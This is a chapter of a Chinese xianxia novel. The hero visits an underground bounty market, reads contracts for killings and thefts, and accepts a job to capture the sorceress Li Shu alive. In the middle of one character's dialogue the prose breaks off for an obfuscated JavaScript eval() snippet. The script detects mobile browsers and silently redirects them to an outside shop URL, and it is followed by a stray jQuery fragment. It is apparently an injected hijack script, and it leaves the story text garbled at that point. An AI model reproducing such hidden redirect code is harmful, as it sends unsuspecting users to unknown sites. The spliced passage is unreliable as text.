门在他身后留了一道缝。暗黄色的油灯光从门缝里渗出去,在来路那片黑暗中切出一道薄薄的光楔,像一根被人遗忘在地面上的金线。
陆珩站在门内,让眼睛适应了一会儿地下的光线。头顶的拱形顶壁大约一丈半高,两侧排列的木架和石台一直延伸到视线尽头,每隔四五步就有一盏油灯挂在架子横梁上,灯芯的火焰被地下的气流压得低低的,每一盏灯都只照亮自己面前那一小片范围,灯与灯之间的空隙里全是浓稠的暗影。
空气里混着的气味比门口闻到的更复杂。他走过第一排货架的时候,架上一只敞口的木匣里泛出刺鼻的硫磺味,旁边另一只陶罐里冒出来的甜腥气甜得发腻,像是某种已腐烂了但没完全烂透的动物组织。再往里走,有人蹲在石台边上检查一块暗红色的矿石,用指尖蘸了水擦掉表面浮灰,然后对着灯光端详——是朱砂矿,品相比他在崖底采到的那片好得多。
路上的人在货架之间穿梭。有人在低声交谈,话语被地下的密闭空间压成模糊的嗡嗡声,听不清具体内容,只能捕捉到几个零落的词:“……三天内……城西……“、“……不接金丹……“、“……定金翻倍……“。每个人经过陆珩身边的时候都会看他一眼——目光掠过他的脸、他残破的外袍、他空荡荡的布袋肩带,然后像夜鸟掠过水面一样收回去,不留痕迹。
陆珩走了大约一盏茶的工夫,在走过第三排货架的时候看见了那面墙。
张贴栏是整面墙那么宽的,高度几乎顶到了拱形的天花板。木质的墙面被无数张纸覆盖着,新纸覆旧纸,一层压一层,有些边角已经卷起发黄了,有些还泛着浆糊未干透的湿泽。纸面密密麻麻排着,大小不一,大部分是手掌见方的黄纸,少数几幅更大的麻纸,再往上靠近天花板的位置甚至有几张用帛书写的,垂下来一小截在灯光里晃。
张贴栏前面人不多。他站定的时候能看见的只有两个人——一个穿灰衣的矮个子正在墙角翻看一卷纸,另一个穿旧皮甲的高大身影正背对着他站在张贴栏正中,肩膀宽阔,挡着大半面墙。但陆珩能感觉到有人在看他。从货架侧面投过来的目光像暗河里潜伏的鱼在水面下翻了一下身,带起一圈几乎看不见的涟漪,他能“感应“到它们的存在,却无法确定目光的来源。
他走到张贴栏前。
第一张入眼的是一幅麻纸,纸面比手掌大一倍,写着:
> 目标:拜火教风库旗使座下左旗使(金丹初期)
> 要求:取其人头,送至江北城西旧磨坊,放于第三块磨盘下方
> 期限:自发布之日起四十五日内
> 酬劳:金币两枚
> 销事方式:旧磨坊北墙暗格内取酬
两枚金币。一枚金币等于十枚银币等于一百枚铜币。陆珩站在那张麻纸前默算了一下——他给周二送一趟信挣两角铜币,住一晚如归客栈要两枚铜币,两枚金币够他住上整整一百天。
他往下看。第二张是黄纸:
> 目标:浮玉关南门守备私库中“玄铁胆“一颗(约拳头大小,暗金色,常温发热)
> 要求:取货后送至青冥渡渡口码头第三根石柱下,用油布包裹
> 期限:自发布之日起六十日内
> 酬劳:金币一枚
> 销事方式:放货后三日内,渡口东侧茶摊取酬
第三张:
> 目标:三清观藏经阁·阴符经帛书
> 要求:原件。破损残页亦可,按残存字数折算酬劳
> 期限:无
> 酬劳:全件二十枚金币。残页每字一枚金币
> 销事方式:江北城如归客栈·前台·报“收旧货“三字
陆珩看到“阴符经“三个字的时候,呼吸停了一瞬。他的目光在那行字上定住了很久,从头到尾读了一遍又读了一遍。二十枚金币。每字一枚金币。阴符经全文三百多字,全件二十枚金币的意思大概是以全件整体计算,但即使只算单页,那张帛书的每一寸布面都被标了价——如果落到灵修剑派手里还好,但如果落到巫蛊宗手里呢?他想起离姝在旧山门外说“你把经文的窍门写成册子交给我“时脸上的神情,想起她锁骨间那枚银铃在月光下的反光。
然后他忽然意识到另一件事——这张悬赏本身说明了一个事实:有人在找阴符经,而且知道它在三清观藏经阁。知道它不在他身上了。知道明微把它带回了三清观。这个信息本身就有问题——他从崖底出来到现在,没有对任何人提过阴符经的去向。
他站在原地,觉得地下的空气凉了一些。也许是他的错觉。他把目光从那幅悬赏上移开,继续往张贴栏的深处走去。
第四张、第五张、第六张。目标从筑基到金丹不等,酬劳从银币到金币不等,销事方式五花八门——城西某棵槐树的树洞里、正街第三家铁匠铺的炉灰底下、旧货巷尽头那口枯井井壁第三块松砖后面。他走过大约三尺宽的距离,看了十几张悬赏,每一张都要求杀人或窃物。整个张贴栏里没有一件“单纯送信“的活计。
然后他看见了那张。
> 目标:巫蛊宗离姝(修为不详,约在筑基后期至金丹初期之间)
> 要求:活捉。可伤不可死。交至江北城旧货巷地下·进门报“周二“名号
> 期限:自发布之日起九十日内
> 酬劳:金币五枚
> 销事方式:当面交付时另付两枚金币定金,事成后当面结清
陆珩站在那张悬赏前面,又站了很久。
离姝。巫蛊宗代表,在旧山门议事桌上坐着说“圣女会到前线来“的人,在崖顶低头看他坠落时脸上没有任何表情的人,在联盟会谈豪言在座的无人能杀她之人。现在有人出七枚金币要活捉她——两枚定金,五枚尾款。活捉、可伤不可死、交到周二手上。周二知道这件事吗?他带自己下来的时候有没有预见到他会看到这张悬赏?
他站在那里想了很多。想离姝说过的话——“圣女养了一只蛊,叫宝鼎化生蛊“、“巫蛊宗要在七顶尖里有一个席位“、“你师父的魂魄还在吧“。想她看着拘魂幡时那种像隔着水面看东西的眼神。想她站在旧山门外说“阴符经换师父,似乎是一个很划算的主意。“,语气平淡得像在说一件她已经知道结果的事。
最后他想的是另外一件事——如果有人悬赏阴符经,说明阴符经的行踪已经不再是秘密。藏经阁第三层西边第三个柜格,经盒内衬青绢。真的还在那里吗?
他必须更快。
他最后看了一遍张贴栏上的各类悬赏,把那两幅记住的(阴符经和离姝)从脑子里单独拎出来放在一个角落里,没有再去碰它们。然后他转身离开了张贴栏区域,朝来路走回去。
暗处的目光在他转身的时候似乎多了一双。他能感觉到那种无形的关注度变密了一些——像有人在他背后轻轻提起了某件放在地板上的东西,发出一声极细微的移动声。他没有回头,保持着均匀的步速走过了三排货架、那口敞开的硫磺味木匣、那只甜腥气陶罐,一直走到尽头那扇留着一条缝的木门前。
他推开门出去,顺着铁梯往上爬。地下的暗黄色灯光在身后越来越远,头顶的铁板被推开的时候,暮色从井口涌下来,带着傍晚特有的、被日光晒了一整天之后褪了温的橘红色。
他爬出井口,把铁板合上。周二不在井台旁边了,巷子里空无一人,只有远处正街方向隐隐约约传来收摊时店家取下布幡的声响。他站在井台边上,暮光照着他的脸,把地下一整趟的暗与凉都从皮肤表面驱散了大半。
他蹲在井台边想了一会儿。钱的问题暂时解决不了,但天快黑了,夜里睡在街上不是不行,可他脑子里装着的东西太多——地下市场的悬赏墙、阴符经的悬赏泄露、离姝活捉的委托——他需要一张桌子坐下来把这些线头理清楚。
他从井台边站起来,走回旧货巷深处那扇木门前,又叩了三下。门开了一条缝,周二的脸露出来,比下午的时候倦了一些,眼窝下面的阴影更深了。
“又来了。“周二说,语气平淡。
“想接那个活。“陆珩说,“活捉离姝的那个。“
周二的目光在他脸上停了大约三息。然后他把门拉开,侧身让他进去。屋里油灯还亮着,角落里的两个人已经走了,只剩下靠墙桌案上那些被黑布盖着的物件和一幅摊开的皮纸地图。周二走回案桌后面坐下来,从桌底下抽出一只扁长的木匣,打开,从中取出一卷比下午任何一卷都厚的帛书。他摊开在桌面上,帛书页面上密密麻麻写满了字,旁边还附着几幅简笔画像——有正面的、侧面的、远景的轮廓速写,笔触利落,像是专业画师在观察对象之后快速落笔留下的。
“你确定?“周二问,手指压在帛书边缘,没有推过来。
陆珩在案桌对面坐下来。“确定。“
周二看了他一会儿,然后说:“活捉一个筑基后期到金丹初期之间的修士,酬劳七枚金币。这个价钱在悬赏墙上算高的。但你有没有想过,为什么这么高的价钱至今没人接?“
“有陷阱?“
“陷阱不多,但麻烦不少。“周二把帛书翻过一页,指着一行小字说,“离姝身上的蛊铃能控蛊,接近她等于接近一整窝蛊虫的母巢。她本人修为不算高,但她身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879886|208891||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的蛊器多。悬赏发布到现在两个月,接过这个活的有四个人——两个筑基初期,一个筑基中期,一个筑基后期。筑基初期那两个再没露过面,筑基中期那个在城西医馆躺了半个月,筑基后期那个接活第二天就退了订金。“
陆珩听着,没说话。
周二把帛书合上,双手交叠压在封面上。“你还想接?“
“想。“
周二沉默了一会儿,把帛书从桌面上推过来。陆珩接过去翻开,帛书里面记录的内容比悬赏墙上那几行字详尽得多:离姝的活动范围主要在青冥渡以南至南疆边界一线,近期可能在浮玉关附近出现过。她身边通常不带随从,但蛊铃能控制的蛊虫种类至少有七种以上,其中三种可远距离攻击。她修为不稳定,从筑基后期到金丹初期之间来回跳,像一个被什么东西反复拉扯的弹簧。
陆珩把帛书的内容通读了一遍,记下了几个关键的地名和时期。然后他把帛书合上,推回周二面前。
“有没有预付?“他问,“我身上没钱住店。“
周二看了他一眼,伸手从案桌底下摸出一只小布袋,从里面数出两枚银币放在桌面上,推过来。“预付。回来之后从你的酬金里扣。如果没回来——“他顿了顿,“这两枚银币就当买你一条消息,什么消息都行,告诉我你是怎么死的。“
陆珩把两枚银币收进怀里。冰凉的币面贴着手掌的皮肤,比铜币重一些,边缘压着的城楼侧影纹路更清晰。两枚银币够他住十天如归客栈,够他买干粮和水,够他走到浮玉关。
他站起来。“路怎么走?“
周二从案桌侧面抽出一张折叠好的皮纸递过来,纸上画着江北城通往浮玉关的路线简图,沿路标了三个歇脚点——两处驿站,一处半废弃的旧茶棚。“从城东门出去,走官道往东南方向,大约四天脚程到浮玉关外围。离姝最后一次出现是在浮玉关南门外三十里的一个小镇,镇名叫沙口。你在镇上打听,别直接问离姝的名字——问'穿紫衣服带铃铛的外乡女人'。镇上的人知道。“
陆珩接过皮纸折好收进怀里。他朝门口走了两步,在门边停住,侧过头问了一句:“悬赏离姝的人是谁?“
周二坐在案桌后面,油灯光照着他半张脸,另外半张隐在暗处。他沉默了一拍,然后说:“不知道。地下市场的规矩——悬赏发布人不署名,交付点只负责验收。我只需要在活人送到的时候确认是她本人,然后付钱。“
陆珩点了点头。他推开门走出去,暮色已经沉下去了,巷子里完全暗了下来。他从旧货巷一路走回正街,街上的铺子全都上了板,只有街角那盏长明灯还亮着,灯影投在青石板上,被晚风吹得微微晃动。
他在如归客栈住了一晚。伙计接过银币的时候多看了他一眼,目光从他身上的旧袍子扫到脚上磨穿的鞋,但什么也没说,只是把房牌递过来,指了二楼最里面那间房。
他在房间里把九鼎丹经残篇重新展开看了一遍。那些丹方和火候记录他已经记熟了,但另一件事——那行小注里写“早期外丹,多用近日入符、入器之材“,他忽然想起张道陵的阳神说过的话:“九鼎丹经原卷一共三十六篇,其中八篇讲鼎器,十二篇讲火候,九篇讲材料,七篇讲服食禁忌。“服食禁忌篇里有没有提过魂归肉身的事?他闭眼回想识海中的那道白光,那道白光像是被嵌进骨头里的铭文,他不需要回想就能随时调出来看,但“随时调出来“的前提是他知道自己在找什么。
他在服食禁忌篇里找到了三个字:“魂归处“——那篇里写着外丹服食之后魂魄如何归位、如何与金丹契合。但那篇讲的是“服丹者自身魂魄归位“,不是“别人的魂魄如何进入另一具躯壳“。两者差着一层,像隔着一条河,他在这一岸看对岸的轮廓,能看见山形,看不清山路。
他把心神散去,躺下来。床板硬,枕头薄,但比起崖底的碎石滩和暗河边的湿泥地,这已经是他过去几个月里睡过的最舒服的地方了。他闭上眼,离姝那张悬赏上的字迹在他意识里浮起来又沉下去,和她说过的话混在一起——“你师父的魂魄还在吧“、“借胎还魂“、“条件呢“。
他翻了个身,把脸埋进枕头的旧棉絮里。明天天一亮他就出发,往浮玉关方向走。四天路程,到沙口镇打探消息,找到离姝的踪迹,然后看她到底在做什么,为什么会在浮玉关附近出现。如果能抓到她——如果——他就有机会问她一些悬赏墙上的文字和旧山门外的对话都没问完的事。
他把那根没油的灯吹灭了。黑暗中窗缝里漏进来一线月光,在地板上画了一道细细的白印,像一根在地上被人拖着走的银线。
他睡着了。